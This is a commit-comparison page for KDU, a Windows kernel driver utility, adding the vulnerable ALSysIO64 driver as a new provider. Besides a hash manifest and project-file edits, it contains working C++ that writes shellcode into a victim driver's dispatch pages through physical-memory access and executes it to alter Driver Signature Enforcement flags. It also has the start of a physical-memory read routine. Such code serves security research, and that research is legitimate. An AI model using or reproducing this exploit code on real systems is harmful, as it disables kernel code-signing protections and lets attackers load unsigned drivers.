Compare commits

...

3 Commits

Author SHA1 Message Date
hfiref0x d90e709ea5
v 1.2.8
Update sha256 file
2022-12-03 11:16:13 +07:00
hfiref0x 93e366cc61
v 1.2.8
Fix build
2022-12-03 10:57:07 +07:00
hfiref0x d1af5b9649
v 1.2.8
Added ALSysIO64 as provider 29
Internal rearrange
Readme updated
2022-12-03 10:50:34 +07:00
64 changed files with 474 additions and 325 deletions

View File

@ -25,20 +25,20 @@ d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\Example
f12057a99c6b20abf6d9c3df949d794b124ca19b189498ce2beaa5beeb2b077c *Source\Hamakaze\compress.cpp
09fa3cdaa1416b81ba5ee304cf24897726902b9d33a76d879f604b7fe26b4dcc *Source\Hamakaze\compress.h
7ab76cd44d765178c690d1f48bef705b34c4fe97fb11822b28ece3ff7d351f62 *Source\Hamakaze\consts.h
2d0ff47668c3421685d25c3f9a061a8b10043d3d6d4714f21bae8b51a1dfcdde *Source\Hamakaze\diag.cpp
09970cfcb9bfb7a8964ae4ec48fd15c1805e93ea81c858de2793691eefda3881 *Source\Hamakaze\diag.cpp
a4fa97b9f2be414bc49881450d5935d2b48c1029d3bee655cd6e77e645327d74 *Source\Hamakaze\diag.h
edf73e768eb59f72353878224f408b2f562a03400ac49a5c48aea63779fb6677 *Source\Hamakaze\drvmap.cpp
3155737710664a1a2ca28640687a0cbde115f15ce0b48a4833e87173941d4f00 *Source\Hamakaze\drvmap.h
e4d87ba9ee1c8e45350335646b6236e8494c2c6fc1d0cdf52c3de214d4e88372 *Source\Hamakaze\dsefix.cpp
d46e3371c568c92493d4a2553327c9a703ccf0b68e26ccc9ed49772524e12b71 *Source\Hamakaze\dsefix.h
818108313ecad8b288ae28bb82d3be6b22c7dc526618812ffbb604b617e78b48 *Source\Hamakaze\global.h
cf9f69fb017a0a386aad472fc7d4dd51215f2871367954a145fb0596635aa8e8 *Source\Hamakaze\dsefix.cpp
5131aa81ffb17238a092b313a954a6d9e9203636ba47562f0a7f8d4daf306221 *Source\Hamakaze\dsefix.h
4c5d5d2f0a0d3e63151c14fafc9a33598ed278b3d2059fa9cd49a08cfbbd3c1f *Source\Hamakaze\global.h
ea0d8d42a5e7d7fb908c52351f99c69f2019c105d07a1f536756691ab2a74174 *Source\Hamakaze\ipcsvc.cpp
888a436b666b00592d29e8a2e82a9b5c7f0c1d4890aaab8cb2f623181ad07092 *Source\Hamakaze\ipcsvc.h
daf61154ef5a110ba719a16d35abcaa8794e7bf6ed753e337db47b82a671b4b1 *Source\Hamakaze\KDU.vcxproj
016b6267c5eb017b869e346573beaf1ce756aa8b54c9de045db3c66058d9de94 *Source\Hamakaze\KDU.vcxproj.filters
bae349bad8db243bf4c699246e38e53f777cdf092ba26addeb9eb53a18aee4a9 *Source\Hamakaze\KDU.vcxproj.user
fa94754270aabade8b5e3fc01c64eba6f7fb9a44ae26cd666b96f12a9bb72117 *Source\Hamakaze\kduplist.h
dcc02a68bc288f5eb7b36c0dff8e3cc00ee04f0fba4cbf79b4d746145b9cbdc3 *Source\Hamakaze\kduprov.cpp
a4e89cb56969794e8e3570551367719791d70d51710e890ba361a328154c4197 *Source\Hamakaze\KDU.vcxproj
9a3561b6dcbc7d4d4273d130237477aaafd80c64fb1531f3956f10ff5283a74a *Source\Hamakaze\KDU.vcxproj.filters
53bd6092626ed8885fd3b056e704d7ffb05e20decf2c53dd8cc30711111eab94 *Source\Hamakaze\KDU.vcxproj.user
623e430509d7357266e4be5f23ae9adea4a13270c476775cc7fc3b4cd18d052a *Source\Hamakaze\kduplist.h
994d64b991420aff378b712de5c90efdf673373bc143765438d8625582384985 *Source\Hamakaze\kduprov.cpp
7d4e901f7e96c7063581c199fda12136d72c551ee7541a8853adb498b420cc48 *Source\Hamakaze\kduprov.h
f4d0ab08aa39a277aaa6e21f89b6d6e3a02f437898f21f494f7c3e002e79caaa *Source\Hamakaze\main.cpp
e1a8de39e2d3d0bae5d9bbe1b18e849f5d070feb1d37f838176ede5a401f35ec *Source\Hamakaze\pagewalk.cpp
@ -49,24 +49,26 @@ eb15810b52b16482f3a3a679fbeed102257bfa0416243e74fce5b634daf9b074 *Source\Hamakaz
356fa09c4d7e27356dd7076996390ab96a3d338b5a9bdb5e3f6a6559ceae18a5 *Source\Hamakaze\resource.rc
0b63700349f8d478225c5df53b4c18074fc927a46367b73115e40738cbab5480 *Source\Hamakaze\shellcode.cpp
37b72edb872268e4e9f8a12853f4cbf726038cf7f0dc5e0f4239888818f18fed *Source\Hamakaze\shellcode.h
318fdbb08be47cb3a291730b9637504af6e66d897f2c99e7fd7f026307fa4bf8 *Source\Hamakaze\shellmasm.asm
5428b9eb02810dbc4bfd715ec657ee35a5e61e53079c65f05e1eea4f8a6fa4a0 *Source\Hamakaze\shellmasm.asm
e35386b3196b64c28fcd8f09eeb8b74adab7ec05ccf38b4041cee4b04f9eab1f *Source\Hamakaze\sig.h
2cc5a7613e08ca09e16cb3454328097e9924de0f1e56bb326d2a36c083f6fba1 *Source\Hamakaze\sup.cpp
78fc29a6d5a8c9e6af09c688254047e30a6180798c127361c4da76446fab045d *Source\Hamakaze\sup.cpp
d04ee4637b42d63c1ae22242ed320d76939da45a0c5f2fdbea81ef57d770178c *Source\Hamakaze\sup.h
04754c9af0b5732e250313f9cc056c2f5e7104cf839b2949a969ed0f989dda18 *Source\Hamakaze\tests.cpp
d3b53ec59f6c8cdb08b740d63602f5e954c86a5b5fc813c3e826a7bdf6224858 *Source\Hamakaze\tests.cpp
ad77ae168188a9748713ab5f7532447ca50a539fa8ebbec5ac86b273696b028e *Source\Hamakaze\tests.h
2f9bba7bf761a8e6908132ae93d81aaaa38cbdebd38e2557505ea6309bbd2391 *Source\Hamakaze\victim.cpp
0fd6c0631ae553d443bd01c502b8917379316530bf6de0a5f4204331ddb7664d *Source\Hamakaze\victim.cpp
b4165a29658b4770627aaac15bc36add0a47892d738920de1fc6ec73bb1c3cce *Source\Hamakaze\victim.h
e98c66a33ec03a82fc98ef442b392e3c6221dcb39c1cb695cd983e1b55695d94 *Source\Hamakaze\wdksup.h
31860c95db21761086e2979753e981d6435f27435dead3ed7e4687e99bb878d4 *Source\Hamakaze\hde\hde64.c
fd5b39e2865e12b9525ebda8fd9e9658b341ead5932d1bcb412a189f81ca42ca *Source\Hamakaze\hde\hde64.h
9d37519623d404987300d3f3258148ba9adddfe1bed5f89a0e9e47646819c9c7 *Source\Hamakaze\hde\pstdint.h
0b6c69ad498e67907e0c574ab06123aee4ec30c99fa181099ea929a8d820bfc1 *Source\Hamakaze\hde\table64.h
4eb5128e4a2f55ffb2fa171c3c59d3b4501c3e223adf934e914e944c6768f1f6 *Source\Hamakaze\idrv\asrdrv.cpp
7b4d642021dbf7c20f3f1daa323478c1c5de82175ca85ed9ef7e0fefe111c61f *Source\Hamakaze\idrv\asrdrv.h
76295f1463903ba5ed48ec7e04bb7c43ec4f0b76f112141aedcdbc6cc3355039 *Source\Hamakaze\idrv\alcpu.cpp
98a21df59cb881c1029a8a6c1ad30c9481075c2e4b1fb43969ee6607816b9c9f *Source\Hamakaze\idrv\alcpu.h
251fc648b3592c5e9b9e6085b5a58786ae0b2690b0cd85d9fc4f8a7c80689b84 *Source\Hamakaze\idrv\asrdrv.cpp
1c2c5b6a7addf3389a6dee6b11e4a4648d403e9c456008ecefbc79deaa34afae *Source\Hamakaze\idrv\asrdrv.h
b1350783a851e6345b880c8a5313e871d2249aa5524f41406c52fa62483f2229 *Source\Hamakaze\idrv\atszio.cpp
015a6aff991174a881650c61fe1b28c5bfe3116a02a32abe5295ff389c5b7099 *Source\Hamakaze\idrv\atszio.h
8e22d2a218561bd13ab8fbb9a6ef0949ab1e3b8cd70bfc9ccf2cd8ae3507927d *Source\Hamakaze\idrv\dbk.cpp
bc249421f95d6a54cf9cb0aae0d717dada4f96a536147014a952d45c99243622 *Source\Hamakaze\idrv\dbk.cpp
24f81b4fdc1b924a36c981fb175b2dccebd7d029d6caed85fb731b74b22c7386 *Source\Hamakaze\idrv\dbk.h
e7a1432ad47fb4d73d9300a6fdc2ae4fa2906821db327c028fdff15c660e4690 *Source\Hamakaze\idrv\dbutil.cpp
ad955406989b80564e7e4cc400721e62d6d5c193e22037b075e07dd616f3c845 *Source\Hamakaze\idrv\dbutil.h
@ -102,11 +104,11 @@ d0e354d2f97e993e5e40fb6bb2b99b5bc753beb23f8213d44f99c0309210c1e8 *Source\Hamakaz
9a92bda63624239e5dec54cf94a43ad396efe1ad59465f1359b0aaa94cbe8e11 *Source\Hamakaze\idrv\zemana.cpp
da1ea3c2ceebfdc6e5c338461dc214798870a0d6aa16f7f23c045123fa450f71 *Source\Hamakaze\idrv\zemana.h
de7bdf0bd4acec31c963b916331399bce23c155e3002f0a8152a4a36af13faf8 *Source\Hamakaze\res\274.ico
5feb92489e6b82b32e7884e4c005af11d20356238c61989cf35839f1d1e037ac *Source\Hamakaze\res\SB_SMBUS_SDK.bin
2c5b1efd6bab4e54754dd8e0b74839935c366709e0c1eb1072daa5dfe1597b30 *Source\Hamakaze\res\Taigei32.bin
e74ac40b6045804ef8b8087d6e99efbb8b4606299ac5d0b17c237aa403986e26 *Source\Hamakaze\res\SB_SMBUS_SDK.bin
0c765cca185616fb89840a65036b1668372deb644d80d21009830ac8f0405d38 *Source\Hamakaze\res\Taigei32.bin
1232f65b57bc8732ead29a730308f6c67bc53a2f9fafd47f8c7cc4b4f676a9e9 *Source\Hamakaze\utils\GenAsIo2Unlock.exe
8e8f0489b91fe80f249bdd3b67e26068db9b66d5c91865076bbb46c792e6c153 *Source\Shared\consts.h
6ec5053151bdd9bab457e04e6227fccf8b44b4fe603f68441714ffafefd1959f *Source\Shared\kdubase.h
3959582f89949242cec51519f0fd8b1bfc6e1cce43c85d555c76431d78772115 *Source\Shared\consts.h
1b804d8eaf2fc0f55d24b380064e07f84feb49f86b731368a6d6c0a6ba9a7127 *Source\Shared\kdubase.h
e0ba365c8aa8e66fddd0f28bca4b827725911480fdcd968df2792c370f13ef42 *Source\Shared\ldr\ldr.cpp
37003367e625e218bf7e4c22850ac7d2efe926a6a832d29bc20a9f8b19a479af *Source\Shared\ldr\ldr.h
893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *Source\Shared\minirtl\cmdline.c
@ -148,46 +150,47 @@ d563bd3017a274175ca6b7e8f93333a3e3ec096d1f3034acfa4e17d8b2420c99 *Source\Taigei\
c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Taigei\Taigei.vcxproj.user
9e82ce97464b666dad14ffde32e5450a0974d1194ca68cd10e9b2611599dfc28 *Source\Tanikaze\export.def
5bbbcc6c275008ffdd765a3fa53ed3e4ae16ea51bf6ae66c2271f6f065ba0525 *Source\Tanikaze\main.cpp
3f39706aaaf8132456f890622edc7f791fb2ea6e160b8e1afb1df4d9ffb1e62a *Source\Tanikaze\resource.h
6df93fbd211eaa66823c6ce0a0cbf2e76de6b4a75884b86b1b9a331390d4f4f2 *Source\Tanikaze\resource.rc
268ff7495facd625804c732bb3a292065c1c49aa67d39f21f2917b46fab2a33d *Source\Tanikaze\tanikaze.h
ff446abbcb54b41d6e1d735b65899779a07cc49f8d47569c6c7defadf3a1fff5 *Source\Tanikaze\Tanikaze.vcxproj
b185c987cf5a847ce4c4350387562bbc6cebbeca76b295e97ac790d178744bdc *Source\Tanikaze\Tanikaze.vcxproj.filters
418cbeb793f2e23272dcf6a0e0f4d284b2c3035b3a81e456b58ecffa41074df8 *Source\Tanikaze\resource.h
629257a81c9d59dc4aef0f38cd2a9f9fdcc8dc3f3eb90c1f07d83bd688c0b2de *Source\Tanikaze\resource.rc
b4221f46266b8611ed1a342507330d8947709740c027d5abb5b2a042300c2fb0 *Source\Tanikaze\tanikaze.h
b709923ba79da9be442d77c95ec3d66f8b5f9406dff75bdc07bb0e18c93e3bfd *Source\Tanikaze\Tanikaze.vcxproj
f4645460590977d49a0a3c17ffc05df689064a86abf41a5fbf2b07b07017f473 *Source\Tanikaze\Tanikaze.vcxproj.filters
c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Tanikaze\Tanikaze.vcxproj.user
ff3560aff2272da70c087c1ae2013aacfb449299fc06613ebd49f35cc7ff95ce *Source\Tanikaze\data\AsusCertService.bin
ba80deddfa9e6214e83ef1021299b8a0c07b6dfa071a5b2768ce8cbfaf96bfb9 *Source\Tanikaze\data\dbutilcat.bin
f88fce3204dc8cee54464c3c6d72fb2b34462c7c3b8bd2b624f6bdba99716570 *Source\Tanikaze\data\dbutilinf.bin
9f36348177ea73c224c7dac3314f3811d9c1554b0bc8c163c4d2fd5bb9027930 *Source\Tanikaze\data\KMUEXE.bin
d54854f0e065ab468c125e6c7e3229919037e83ac948630458bb45f810f7549a *Source\Tanikaze\data\KMUSIG.bin
0a9528668baf25ed30b7e43198ac2a82a223b8f9fd4e0dfbadb160083740a6d1 *Source\Tanikaze\drv\amsdk.bin
67de47b8079b0789bd1b91dff0331408a6867796ff63e2d45e412fcc0ca64e95 *Source\Tanikaze\drv\asio2.bin
45af4aa9a0f6e9e9566383c47612055039728c67be7617d453314875ccd24331 *Source\Tanikaze\drv\AsIO3.bin
b11c8e71c2f4298eac7d60033636292691e0c57658f730a02979765b5eecad0c *Source\Tanikaze\drv\AsrDrv106.bin
6ebf3da397fa1f812cfa146c42d58460d1e904e1e61d60a5af4ddc74923a6475 *Source\Tanikaze\drv\ATSZIO64.bin
79f06f6d9d2f284572aae6d6ee01649e0ea82f8732d124e707f6914edf229454 *Source\Tanikaze\drv\dbk64.bin
18ba3ce6e835208b6a35855b18bf8cbbc7f2626e33cfc1bf405e5c1fdbec6537 *Source\Tanikaze\drv\DbUtil2_3.bin
9787441a150b7f37d2f4ca5e1db2857e79e49d28b5fd29c5b08c1de8a23718b1 *Source\Tanikaze\drv\dbutildrv2.bin
84a75d460fcb3710fe93b05c2e39c40f3c4a30dffbeecdd978dec627a81049b4 *Source\Tanikaze\drv\DirectIo64.bin
57f20f38523b0d1c8a7b1d9f26914b6f933afa5f15a5d5610241ebff9602dd0a *Source\Tanikaze\drv\DirectIo64_2.bin
f0256addda7086dd6438cb637a1d132eeb3e7bd804001deee88b6b26002e62db *Source\Tanikaze\drv\ene2.bin
98750cbd041b35afad964066883291ad6aca31b81c86a6a29d53d4cb004f2b3d *Source\Tanikaze\drv\EneIo64.bin
61258c1b9a20db7039f09637967a144c102244d95ddeffd7ac6f1e5ea11a5697 *Source\Tanikaze\drv\EneTechIo64.bin
ec2b0e6e2a8902ddd5cf903b25a4e1d59f2d43b02a65b13d2df9e7081a547f4d *Source\Tanikaze\drv\gdrv.bin
dd22e1fb91d898def6aebbe8cc67b3cfa3b646ed8e7e36f2a441feae0390af67 *Source\Tanikaze\drv\GLCKIO2.bin
2b0f24b7baba34fdb0e44e5848998a1813db59a8f9757a885b8bcf5bc0f9e6be *Source\Tanikaze\drv\gmerdrv.bin
26d2a0fb530234b839ee3b524697e32153b1e8126c37df333dd9edf189404e7f *Source\Tanikaze\drv\HW64.bin
5543d335e6aa3cda310dcf0d7027558ecbefc8e3c93e4f660e70fede2bd61cd5 *Source\Tanikaze\drv\inpoutx64.bin
11639220ece67b7c471d9355231d1138f5663c9f1c4576bb8a2df49132903091 *Source\Tanikaze\drv\iQVM64.bin
9c0b8900ecbd3adb6f0f78eaf1c34748a48d9f845948d4322967c23763e3d4d3 *Source\Tanikaze\drv\kprocesshacker.bin
649497f3e2b8afd9bdf6aaafc0059757f74ec809fddd41e612b08ac0561b32b4 *Source\Tanikaze\drv\lha.bin
ca8debae15f0891a3c4c125b9fc970452f18e06c32a0493f19a80bdf6316cd9a *Source\Tanikaze\drv\mimidrv.bin
d338f47f0a05f7cdb9902dddcb8659764d05ea80fba47a76e7e11afe36d01668 *Source\Tanikaze\drv\MsIo64.bin
e54db6c3d7ed73a4624448096ac96695650dc77a487e86edee1d230fc752ae13 *Source\Tanikaze\drv\Phymemx64.bin
27a441577d375d9b8be6db30cf72fd0c0f7a6436c062db76f383b8bc5d747f26 *Source\Tanikaze\drv\procexp.bin
66819489f251961c7fd5eec47d670e8353769a136289e70cf9981b20a603c6c2 *Source\Tanikaze\drv\RTCore64.bin
b4a764f5e2e265b9042dfbfdc5cce54f27ca8c7d5f99af2b26b046af6cf4e8c0 *Source\Tanikaze\drv\rtkio64.bin
e34f677b5d264ba45d60f2c2ec526bd902a3b550aed48a03061bced38566912e *Source\Tanikaze\drv\SysDrv3S.bin
1ce87a3adb60329adc931459f9d5b343c3d28c95d90aa99247bc67fdbcd40afa *Source\Tanikaze\drv\WinRing0x64.bin
2f5e8468517867b2fce63d9a534ca66daa930610cf30ded3638dfffc4bda223d *Source\Tanikaze\data\AsusCertService.bin
ca28fc8712f25397317e052efc6c60633c07bb90086524cd250e9b7122de256b *Source\Tanikaze\data\dbutilcat.bin
554280e1c1ad7ca35eef2c34ec5b83f5bfcd8f7e09f21e39b2b26b8a8dd58c0b *Source\Tanikaze\data\dbutilinf.bin
4dbf01937c1d2f3a92c4e88040d345bdec10e0b6d21cf6c0ae60fee82c18df21 *Source\Tanikaze\data\KMUEXE.bin
9ad33a72241e2361062356cafbc7d863f7af7c52e00ce81a914d8a76c82d06d4 *Source\Tanikaze\data\KMUSIG.bin
dec5b0d9ea5594aaee89c4175112b4cd7f7cb6d0c4997cc91542a23265916a12 *Source\Tanikaze\drv\ALSysIO64.bin
9e0af195d64902ae0a48ef64e857f402ecb846875508cbce659506207943d853 *Source\Tanikaze\drv\amsdk.bin
6ebef81387137d8135bc72e83e32f96a89ef5b934d689b220788cf814e565e00 *Source\Tanikaze\drv\asio2.bin
b219b00a2635c3787e54d9a585d8d08dc55a7f93855a51a0bf3cb7882994a357 *Source\Tanikaze\drv\AsIO3.bin
d993ea530fce41a3472742c9888459c5c68999752e06d3630ac978a582e98fea *Source\Tanikaze\drv\AsrDrv106.bin
f8ea6fd0506ffcc8364a6c85656bd30960f2d7bc9440e1054de5d6b070c3b787 *Source\Tanikaze\drv\ATSZIO64.bin
a7ec33b204af2523e8ba1c3519878dbca2d5774db63f9addead84a8922bc8bc9 *Source\Tanikaze\drv\dbk64.bin
c7a77ce1b09da2876b1e4934d129e48598b2c574a7b068b47b7d6844e72b2ece *Source\Tanikaze\drv\DbUtil2_3.bin
b7734dc0e25dd03d26ec815674f9270e826a632b4a395a53762a5586d0fcafde *Source\Tanikaze\drv\dbutildrv2.bin
5f750a27bcb1c508138f3720170b5b3427e600c7a5c838142f2c66d8ef4ce3c2 *Source\Tanikaze\drv\DirectIo64.bin
74deee4927bc802c298aba9e907a97267d4b84f85a8491d6cf962a209ed192e9 *Source\Tanikaze\drv\DirectIo64_2.bin
d5a12d7a2c259f531f77f5a97ed4b25a8731ea65e3275b0802a56281997ad269 *Source\Tanikaze\drv\ene2.bin
a0388296f3de1b25e51871d31208990c5dbfd38f343b7f2727021141399ccc98 *Source\Tanikaze\drv\EneIo64.bin
a1f111e639991c03e380ae334b52089a1c03f572517f7ad69cd7a32cf68ae542 *Source\Tanikaze\drv\EneTechIo64.bin
a5c049f4ed36437eaafdd5ed3cd2121c55a10bc10d6e6f439d2d6d22ed24c0a5 *Source\Tanikaze\drv\gdrv.bin
d7a6821f8cdfe6b19bd42ee9a55cd8e611a9f3020112400453d68a059a26bcc6 *Source\Tanikaze\drv\GLCKIO2.bin
a2f715f9ddd0d35228aa49e176f114dc1f764dff739eac8bc1ed763d78bfa864 *Source\Tanikaze\drv\gmerdrv.bin
a83065767f5b4a4e9aa7f8ae55c2926692573b476f08e3ba28acaab869db0a6e *Source\Tanikaze\drv\HW64.bin
f5fa6003d04a559236022c76e340ff5204782b0191f08f78386191117d715e1a *Source\Tanikaze\drv\inpoutx64.bin
9faa792fe0482a797638e071d0276297bfde9e201676faefe57f1c6deef02387 *Source\Tanikaze\drv\iQVM64.bin
6035a3ea0a7408b9d2f29378430e03e7d632018d0bec4452110a254710f07384 *Source\Tanikaze\drv\kprocesshacker.bin
62e06f063368458b61d2fc90eebf85a880e4e015ecebcc015f046f33266ffb80 *Source\Tanikaze\drv\lha.bin
04ad44b17741d76b46e13eb9a1e5942cf26dc140d4cd799eb874d29d80f672f3 *Source\Tanikaze\drv\mimidrv.bin
378cb37f525dde836b9b07af856200ec61d9219a46a25871eeb04f88c1ec5c20 *Source\Tanikaze\drv\MsIo64.bin
87946c660a1b77dfa7c150d2a13354b750b1ca185a06309cf18a4bcbc5589a1f *Source\Tanikaze\drv\Phymemx64.bin
d6856f8f126720dd2955c3c9ec30540450e3fbf6f3cfddc6f2651d871ec15c0f *Source\Tanikaze\drv\procexp.bin
75db8c3a1936f1f84d8d560005c114ff1cdf06f2efb8bcae45092b44f7108851 *Source\Tanikaze\drv\RTCore64.bin
90f31199f19ced028e53733ddcc968d0ed501dc1df68354fc563f57b0173d4de *Source\Tanikaze\drv\rtkio64.bin
0eb0fc53669c4069d6259ce65a141630f38e2261241938cfcb149cd20c9d6049 *Source\Tanikaze\drv\SysDrv3S.bin
56f06cf125ef6549a5ffd8e58878aecdb0f7377de32aee67674f9ae98b5eb3a5 *Source\Tanikaze\drv\WinRing0x64.bin
bf86c929ee9ee2bb88187e1d82bcddfe83375c73e6787b83a7e414dff691e35b *Source\Utils\readme.txt
c776bc97ee2fbe48d3e148bb37c887862e6de212d4391d6df9b5f149e40ed223 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.sln
c4a28bc43a63a40ff2d8699fa261ee1ced6783d199043484ea7921e8d078ea08 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.vcxproj

View File

@ -133,6 +133,7 @@ You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware
| 26 | HiRes Ent. | inpoutx64 | Various | WINIO | 1.2.0 and below | |
| 27 | PassMark | DirectIo64 | PassMark OSForensics | Original | Any | |
| 28 | ASRock | AsrDrv106 | Phantom Gaming Tuning | RwEverything | 1.0.6 and below | |
| 29 | Arthur Liberman| ALSysIO64 | Core Temp | Original | 2.0.11 and below | |
###### *At commit time, data maybe inaccurate.

View File

@ -134,6 +134,7 @@
<ClCompile Include="drvmap.cpp" />
<ClCompile Include="dsefix.cpp" />
<ClCompile Include="hde\hde64.c" />
<ClCompile Include="idrv\alcpu.cpp" />
<ClCompile Include="idrv\asrdrv.cpp" />
<ClCompile Include="idrv\atszio.cpp" />
<ClCompile Include="idrv\dbk.cpp" />
@ -182,6 +183,7 @@
<ClInclude Include="dsefix.h" />
<ClInclude Include="global.h" />
<ClInclude Include="hde\hde64.h" />
<ClInclude Include="idrv\alcpu.h" />
<ClInclude Include="idrv\asrdrv.h" />
<ClInclude Include="idrv\atszio.h" />
<ClInclude Include="idrv\dbk.h" />

View File

@ -177,6 +177,9 @@
<ClCompile Include="idrv\asrdrv.cpp">
<Filter>Source Files\idrv</Filter>
</ClCompile>
<ClCompile Include="idrv\alcpu.cpp">
<Filter>Source Files\idrv</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="global.h">
@ -329,6 +332,9 @@
<ClInclude Include="sig.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="idrv\alcpu.h">
<Filter>Source Files\idrv</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="resource.rc">

View File

@ -1,11 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommandArguments>-prv 28 -map c:\install\dummy2.sys</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>-prv 29 -dse 6</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommandArguments>-prv 28 -map c:\install\dummy2.sys</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>-prv 29 -dse 6</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

View File

@ -6,7 +6,7 @@
*
* VERSION: 1.28
*
* DATE: 21 Nov 2022
* DATE: 01 Dec 2022
*
* Hamakaze system diagnostics component.
*
@ -437,7 +437,6 @@ VOID TracePsHandle(
CLIENT_ID clientId;
OBJECT_ATTRIBUTES obja;
if (ClientId->UniqueProcess == NtCurrentTeb()->ClientId.UniqueProcess) {
printf_s("> Process (self) handle trace\r\n");
}

View File

@ -4,9 +4,9 @@
*
* TITLE: DSEFIX.CPP
*
* VERSION: 1.27
* VERSION: 1.28
*
* DATE: 25 Oct 2022
* DATE: 01 Dec 2022
*
* CI DSE corruption related routines.
* Based on DSEFix v1.3
@ -20,6 +20,13 @@
#include "global.h"
#ifdef __cplusplus
extern "C" {
void BaseShellDSEFix();
void BaseShellDSEFixEnd();
}
#endif
ULONG KDUpCheckInstructionBlock(
_In_ PBYTE Code,
_In_ ULONG Offset
@ -409,6 +416,111 @@ ULONG_PTR KDUQueryCodeIntegrityVariableAddress(
return Result;
}
/*
* KDUControlDSE2
*
* Purpose:
*
* Change Windows CodeIntegrity flags using memory brute-force.
*
*/
BOOL KDUControlDSE2(
_In_ PKDU_CONTEXT Context,
_In_ ULONG DSEValue,
_In_ ULONG_PTR Address
)
{
BOOL bResult = FALSE;
BYTE shellBuffer[SHELLCODE_SMALL];
SIZE_T shellSize = (ULONG_PTR)BaseShellDSEFixEnd - (ULONG_PTR)BaseShellDSEFix;
KDU_PROVIDER* prov;
KDU_VICTIM_PROVIDER* victimProv;
HANDLE victimDeviceHandle = NULL;
KDU_PHYSMEM_ENUM_PARAMS enumParams;
prov = Context->Provider;
victimProv = Context->Victim;
RtlFillMemory(shellBuffer, sizeof(shellBuffer), 0xCC);
RtlCopyMemory(shellBuffer, BaseShellDSEFix, shellSize);
*(PULONG_PTR)&shellBuffer[0x2] = Address;
*(PULONG_PTR)&shellBuffer[0xC] = DSEValue;
if (shellSize > SHELLCODE_SMALL) {
supPrintfEvent(kduEventError,
"[!] Patch code size 0x%llX exceeds limit 0x%lX, abort\r\n", shellSize, SHELLCODE_SMALL);
return FALSE;
}
//
// Load/open victim.
//
if (VpCreate(victimProv,
Context->ModuleBase,
&victimDeviceHandle))
{
printf_s("[+] Victim is accepted, handle 0x%p\r\n", victimDeviceHandle);
}
else {
supPrintfEvent(kduEventError,
"[!] Error preloading victim driver, abort\r\n");
return FALSE;
}
printf_s("[+] DSE flags (0x%p) new value to be written: %lX\r\n",
(PVOID)Address,
DSEValue);
enumParams.bWrite = TRUE;
enumParams.cbPagesFound = 0;
enumParams.cbPagesModified = 0;
enumParams.Context = Context;
enumParams.pvPayload = shellBuffer;
enumParams.cbPayload = (ULONG)shellSize;
supPrintfEvent(kduEventInformation,
"[+] Looking for %ws driver dispatch memory pages, please wait\r\n", victimProv->Name);
if (supEnumeratePhysicalMemory(KDUProcExpPagePatchCallback, &enumParams)) {
printf_s("[+] Number of pages found: %llu, modified: %llu\r\n",
enumParams.cbPagesFound,
enumParams.cbPagesModified);
//
// Run shellcode.
//
VpExecutePayload(victimProv, &victimDeviceHandle);
supPrintfEvent(kduEventInformation,
"[+] DSE patch executed successfully\r\n");
}
//
// Ensure victim handle is closed.
//
if (victimDeviceHandle) {
NtClose(victimDeviceHandle);
victimDeviceHandle = NULL;
}
//
// Cleanup.
//
if (VpRelease(victimProv, &victimDeviceHandle)) {
printf_s("[+] Victim released\r\n");
}
return bResult;
}
/*
* KDUControlDSE
*

View File

@ -4,9 +4,9 @@
*
* TITLE: DSEFIX.H
*
* VERSION: 1.20
* VERSION: 1.28
*
* DATE: 14 Feb 2022
* DATE: 01 Dec 2022
*
* CI DSE corruption prototypes and definitions.
*
@ -26,3 +26,8 @@ BOOL KDUControlDSE(
_In_ PKDU_CONTEXT Context,
_In_ ULONG DSEValue,
_In_ ULONG_PTR Address);
BOOL KDUControlDSE2(
_In_ PKDU_CONTEXT Context,
_In_ ULONG DSEValue,
_In_ ULONG_PTR Address);

View File

@ -36,8 +36,7 @@
#define KDU_SHELLCODE_V2 (2)
#define KDU_SHELLCODE_V3 (3)
#define KDU_SHELLCODE_V4 (4)
#define KDU_SHELLCODE_V5 (5)
#define KDU_SHELLCODE_VMAX KDU_SHELLCODE_V5
#define KDU_SHELLCODE_VMAX KDU_SHELLCODE_V4
#include <Windows.h>
#include <strsafe.h>

View File

@ -0,0 +1,99 @@
/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2022
*
* TITLE: ALSYSIO64.CPP
*
* VERSION: 1.28
*
* DATE: 01 Dec 2022
*
* ALSYSIO64 driver routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "idrv/alcpu.h"
/*
* AlcReadPhysicalMemory
*
* Purpose:
*
* Read from physical memory.
*
*/
BOOL WINAPI AlcReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
ALCPU_READ_REQUEST request;
request.PhysicalAddress.QuadPart = PhysicalAddress;
request.Size = NumberOfBytes;
return supCallDriver(DeviceHandle,
IOCTL_ALCPU_READ_MEMORY,
&request,
sizeof(request),
Buffer,
